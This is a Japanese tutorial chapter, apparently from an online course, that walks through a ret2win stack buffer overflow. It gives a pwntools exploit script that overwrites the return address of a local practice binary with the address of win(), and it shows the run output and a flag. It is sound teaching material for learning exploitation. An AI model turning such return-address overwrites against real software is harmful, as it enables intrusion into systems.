コース目次 / 第2章

リターンアドレスを書き換えて、win関数に飛ばす

pwntoolsでペイロードを組み立て、リターンアドレスをwin関数のアドレスで上書きします。実行して、想定外の関数が実行されることを確認します。

第2章 / 全4章目安 約12分この章のゴール: 計算したオフセットを使って、実行の流れを書き換えられるようになる

exploit.py として保存します。pwntoolsのELFで、ビルド済みバイナリからwin関数のアドレスを直接読み取ります(手で計算する必要はありません——シンボルテーブルに載っています)。

from pwn import *

context.arch = 'amd64'
elf = ELF('./vuln', checksec=False)
print('win()のアドレス:', hex(elf.symbols['win']))

payload = b'A' * 72 + p64(elf.symbols['win'])

p = process('./vuln')
p.recvuntil(b': ')
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='replace'))

p64(…)は、pwntoolsが提供するヘルパーで、アドレスを8バイトのリトルエンディアンのバイト列に変換します。前章で計算した「72バイトのパディング」の直後に、この8バイトを置くことで、ちょうどリターンアドレスの位置にwin()のアドレスを書き込みます。

実行する

python3 exploit.py
win()のアドレス: 0x401196
[+] Starting local process './vuln': pid 12131
こんにちは、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@さん
flag{ret2win_stack_smash_verified}

想定外のwin()が実行され、flagが表示されました。プログラムのソースにはwin()を呼ぶコードは一行もありません——vulnerable()が戻ろうとした先を、あなたが送った72バイト+8バイトのペイロードで書き換えた結果です。こんにちは、A…Aさんという出力はvulnerable()内のprintfがまだ実行されていることを示し、その後のvulnerable()からのリターンで初めて流れが変わったことが分かります。

ここまでで、このコースが扱う技術はすべてです。シェルコードは注入していません。ROPチェーンも組んでいません。既存の関数へリターンアドレスを差し替えただけです。次の章で、なぜこれが成立したのか(そして、普段は成立しないのか)を確認します。

こうなっていればOK

卒業まであと1章です。

この章はまだ完了していません。